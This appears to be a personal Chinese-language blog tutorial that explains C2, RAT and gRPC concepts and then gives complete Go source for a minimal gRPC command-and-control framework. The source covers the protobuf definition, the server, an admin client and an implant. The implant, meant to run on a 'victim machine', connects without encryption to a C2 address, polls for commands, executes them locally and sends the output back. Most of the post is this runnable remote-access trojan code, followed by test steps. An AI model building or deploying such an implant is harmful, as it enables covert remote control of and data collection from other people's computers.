近况:

清明假期第二天、还有些昨天哪些负面情绪😢。很难受,也很累

昨天发现自己在写东西的时候,可以让自己的暂时忽略掉这种负面情绪。

前几天chromos2me分享了一个新的C2框架,然后就想到了去年年底给chromos2me说过的要写一个极其简单的C2来着。 一直没写来着,今天趁机写了顺便放松一下自己吧。。。。。:smile:

🔍什么是C2?

C2Command and Control

C2服务器的概念基于命令和控制模型。攻击者扮演指挥官的角色,而受感染的设备则充当实现攻击者恶意命令的棋子

C2服务器充当攻击者和受感染设备之间通信的桥梁。出金各方之间的双向通信以及数据的传输

远控木马RAT

RAT(Remote Access Trojan)是攻击者用来在受感染的计算机上远程执行操作的工具。

image-20250405224213657

🔍什么是RPC?

RPC(Remote Procedure Call) 远程过程调用:

它是一种计算机通信协议。 允许程序在一个计算机上面调用另一个函数

本地函数调用来说,我们在程序中调用一个函数。比如: add(2,3),程序会跳转到add()函数的定义去执行,然后返回结果。这个过程发生在我们自己的计算机上,也是你的程序内部

远程过程调用则是我们像平时那样调用函数一样去调用它。它会自动将请求发送给远程服务器。执行之后返回结果。 这个观察没有发生在我们自己的计算机上面。

🔍什么是gRPC

gRPCGoogle开发的一个现代化的RPC框架。是一个

:white_check_mark: “一个更快、更强、更智能的RPC工具“。 😊

特性 gRPC
🔄 通信协议 用的是 HTTP/2
📦 数据格式 用的是 Protocol Buffers(protobuf)
🧠 多语言支持 支持 Python、Go、Java、C++ 等十几种语言
🚰 支持流式通信 不只是请求-响应,还可以实时双向传输数据
🛡 安全 & 验证 内建支持 TLS,加密传输

🎯代码

项目结构

1
2
3
4
5
6
7
8
9
10
11
12
C2_by_Yliken_in_20250405
├── client
│   └── client.go
├── grpcapi
│   └── implant.proto
├── implant
│   └── implant.go
├── main.go
├── server
│ └── server.go
├── go.mod
└── go.sum

📌定义和构建gRPC API

使用Protobuf 定义 gRPC API

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
syntax = "proto3";   //指定使用Protocol Buffers的版本3语法
package grpcapi; //定义proto文件的包名 gprcapi
option go_package = "./"; //指定生成的Go语言代码的包路径

//Implant 服务定义
service Implant {
rpc FetchCommand(Empty) returns (Command); // 定义一个远程过程调用(RPC) 方法 FetchCommand
rpc SendOutput (Command) returns (Empty); // 定义一个远程过程调用(RPC) 方法 SendOutput
}

//Admin 服务定义
service Admin{
rpc RunCommand (Command) returns(Command);// 定义一个远程过程调用(RPC) 方法 RunCommand
}

//定义一个消息类型 Command
message Command{
string In = 1; //定义字段 In 类型为string,表示命令输入的内容. =1 是字段的唯一编号,用于序列化时标识字段
string Out = 2; //定义字段 In 类型为string,表示命令输出的结果. =2 是该字段的唯一编号
}
//定义消息类型 Empty
message Empty{ // 空类型 没有定义任何字段。 因此实例化后为空
}
  • message名称以及他的字段名称可以随便取、Protobuf不强制要求具体名称。但是message的的每一个字段必须分配一个唯一的数字。这些数字用于在序列化后的二进制数据中标识字段。而不是字段的值 同时这也是下面这个问题的答案

为什么字段 InOut的数据类型是字符串,后面缺跟着数字?

答:

  • 这些数字不是子弹的值,而是字段的编号。Protobuf使用这些编号来区分消息中的字段。而不是直接使用字段名来区分
  • 这些代码只是.proto文件的一个模式定义,只描述数据结构,不涉及具体实现或者赋值。实际赋值是在代码中完成的。
  • Empty这个消息中不包含任何字段。可以将其理解为null,即为空.

为什么要这样定义一个message类型呢?

答:

  • 事实上,Protobuf不支持直接传递null或者空值给RPC方法(比如 : rpc SomeMethod(Null) returns (Null)。这种写法是错误的)
  • 因此定义一个空message类型来绕过这种限制

在编写好.proto文件之后,使用protoc -I . --go_out=. --go-grpc_out=. implant.proto.proto文件转换为Go语言代码

  • protoc
    • 这是Protocol Buffers编译器的可执行文件。它负责读取.proto文件并生成目标语言代码。
  • -I .
    • -I--proto_path的缩写,表示指定.proto文件的搜索路径。这里执行搜索路径是.
    • .表示当前目录
  • --go_out=./
    • --go_out是一个标志,告诉protoc生Go语言代码,并指定输出目录
    • ./表示将生成的代码输出到当前目录
    • 这个选项需要protoc-gen-go插件的支持。
  • --go-grpc_out=.
    • --go-grpc_out参数用于指定生成的gRPC代码的输出目录。
    • .同样表示当前目录
    • 这个参数会为 .proto 文件中的服务定义生成 gRPC 相关的代码,比如服务的客户端和服务器端的接口。
  • implant.proto
    • 这个是输入文件,也就是要编译的.proto文件

命令执行以后会生成一个implant.pb.goimplant_grpc.pb.go文件

1
2
3
4
grpcapi/
├── implant_grpc.pb.go
├── implant.pb.go
└── implant.proto

📌创建服务器

编写server.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
package main

import (
"C2_by_Yliken_in_20250405/grpcapi"
"context"
"errors"
"fmt"
"google.golang.org/grpc"
"log"
"net"
)

type implantServer struct {
grpcapi.UnimplementedImplantServer // 嵌入未实现结构体
work, output chan *grpcapi.Command
}
type adminServer struct {
grpcapi.UnimplementedAdminServer // 嵌入未实现结构体
work, output chan *grpcapi.Command
}

// implantServer的构造函数, 初始化并返回一个新的 implantServer示例
func NewImplantServer(work, output chan *grpcapi.Command) *implantServer {
s := new(implantServer)
s.work = work
s.output = output
return s
}

// adminServer 的构造函数, 类似 implantServer
func NewAdminServer(work, output chan *grpcapi.Command) *adminServer {
s := new(adminServer)
s.work = work
s.output = output
return s
}

// 写一个FetchCommand 方法并将它绑定到impantServer结构体上面。 用java的话来讲就是: FetchCommand方法是imlantServer对象的一个对象内方法
func (s *implantServer) FetchCommand(ctx context.Context, empty *grpcapi.Empty) (*grpcapi.Command, error) {
var cmd = new(grpcapi.Command) //创建新的Command对象
select {
//使用select语句从worek管道非阻塞地获取命令
case cmd, ok := <-s.work:
if ok {
return cmd, nil //如果管道有命令且未关闭, 返回命令
}
return cmd, errors.New("work closed") //如果管道关闭, 但会错误
default:
return cmd, nil //默认情况下, 返回空命令
}
}

// 将命令发送到output通道返回空响应
func (s *implantServer) SendOutput(ctx context.Context, result *grpcapi.Command) (*grpcapi.Empty, error) {
s.output <- result
return &grpcapi.Empty{}, nil
}
func (s *adminServer) RunCommand(ctx context.Context, cmd *grpcapi.Command) (*grpcapi.Command, error) {
var res *grpcapi.Command
go func() {
s.work <- cmd
}()
res = <-s.output
return res, nil
}

func main() {

/*
声明变量
* 两个网络监听器
* 错误变量
* gRPC服务器选项
* 工作和输出管道
*/
var (
implanrListener, adminListener net.Listener
err error
opts []grpc.ServerOption
work, output chan *grpcapi.Command
)
work, output = make(chan *grpcapi.Command), make(chan *grpcapi.Command)

implant := NewImplantServer(work, output)
admin := NewAdminServer(work, output) //创建implant与admin服务器示例, 共享相同通道
//在端口 4444 上创建 TCP 监听器,用于 implant。
if implanrListener, err = net.Listen("tcp", fmt.Sprintf("192.168.222.1:%d", 4444)); err != nil {
log.Fatal(err)
}
//在端口 9090 上创建 TCP 监听器,用于 admin。
if adminListener, err = net.Listen("tcp", fmt.Sprintf("192.168.222.1:%d", 9090)); err != nil {
log.Fatal(err)
}
//创建两个 gRPC 服务器实例。
grpcAdminServer, grpcImplantServer := grpc.NewServer(opts...), grpc.NewServer(opts...)
grpcapi.RegisterImplantServer(grpcImplantServer, implant)
grpcapi.RegisterAdminServer(grpcAdminServer, admin)

go func() {
//在 goroutine 中启动 implant 服务器。
grpcImplantServer.Serve(implanrListener)
}()
//启动 admin 服务器(阻塞主线程)。
grpcAdminServer.Serve(adminListener)

}
  • 写这个server.go的时候可能会出现一个无法导入grpcapi包中的方法的问题。

    • 这是因为protoc生成的implant_grpc.pb.gopackage__

      image-20250405214946169

      需要手动将其改成package grpcapi

      image-20250405215016336

  • implantServer用于从work通道中 非阻塞的获取命令。

  • SendOutput则将命令执行的结果发送到output通道。

  • RunCommand将命令发送到work通道,然后在output通道中等待处理结果

  • main方法主要功能

    • 初始化 gRPC 服务器和相应的 TCP 监听器
    • 注册处理命令的服务(implantServeradminServer
    • 启动服务器并开始接收和处理客户端请求,从而提供命令的获取和执行功能。

📌客户端植入程序

编写implant.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package main

import (
"C2_by_Yliken_in_20250405/grpcapi"
"context"
"fmt"
"google.golang.org/grpc"
"log"
"os/exec"
"strings"
"time"
)

func main() {
var (
opts []grpc.DialOption
conn *grpc.ClientConn
err error
client grpcapi.ImplantClient
)

opts = append(opts, grpc.WithInsecure()) //添加grpc连接选项,无加密

if conn, err = grpc.Dial(fmt.Sprintf("192.168.222.1:%d", 4444), opts...); err != nil { //建立与localhost:4444的grpc连接 如果链接失败 记录错误并退出程序
log.Fatal(err)
}
defer conn.Close()
client = grpcapi.NewImplantClient(conn) // 创建新的gRPC客户端示例
ctx := context.Background()
for {
var req = new(grpcapi.Empty)
cmd, err := client.FetchCommand(ctx, req)
if err != nil {
log.Fatal(err)
}

if cmd.In == "" {
time.Sleep(3 * time.Second)
continue
}

tokens := strings.Split(cmd.In, " ")
var c *exec.Cmd
if len(tokens) == 1 { //如果只有一个 token,只使用命令名
c = exec.Command(tokens[0])
} else { //如果有多个 token,第一个是命令名,其余是参数
c = exec.Command(tokens[0], tokens[1:]...)
}
buf, err := c.CombinedOutput()
if err != nil {
cmd.Out = err.Error()
}
cmd.Out += string(buf)
client.SendOutput(ctx, cmd) //将命令执行结果发送回服务器
}

}

这段代码实现了一个简单的植入客户端,它可以:

  1. 持续与远程 C2 服务器保持连接;
  2. 接收远程发送的命令;
  3. 在本地执行命令;
  4. 将输出结果发送回服务器。

📌构建管理组件

编写client.go

client.go也是管理客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package main

import (
"C2_by_Yliken_in_20250405/grpcapi"
"context"
"fmt"
"google.golang.org/grpc"
"log"
"os"
)

func main() {
var (
opts []grpc.DialOption
conn *grpc.ClientConn
err error
client grpcapi.AdminClient
)
opts = append(opts, grpc.WithInsecure())

if conn, err = grpc.Dial(fmt.Sprintf("192.168.222.1:%d", 9090), opts...); err != nil {
log.Fatal(err)
}
defer conn.Close()
client = grpcapi.NewAdminClient(conn)
var cmd = new(grpcapi.Command)
cmd.In = os.Args[1]
ctx := context.Background()
cmd, err = client.RunCommand(ctx, cmd)
if err != nil {
log.Fatal(err)
}
fmt.Println(cmd.Out)
}

因为本文只是编写一个最简单的框架。这个client模块也写的很单一。client只能在运行的时候接收一次命令参数。不是交互形式

💻测试

在您开始测试您的代码之前 请确保您的ip地址以及端口都配置正确

运行server.go文件之后 ,在受害机器上面运行implant.go之后

运行 client.go然后再传入想要执行的命令

image-20250405222627421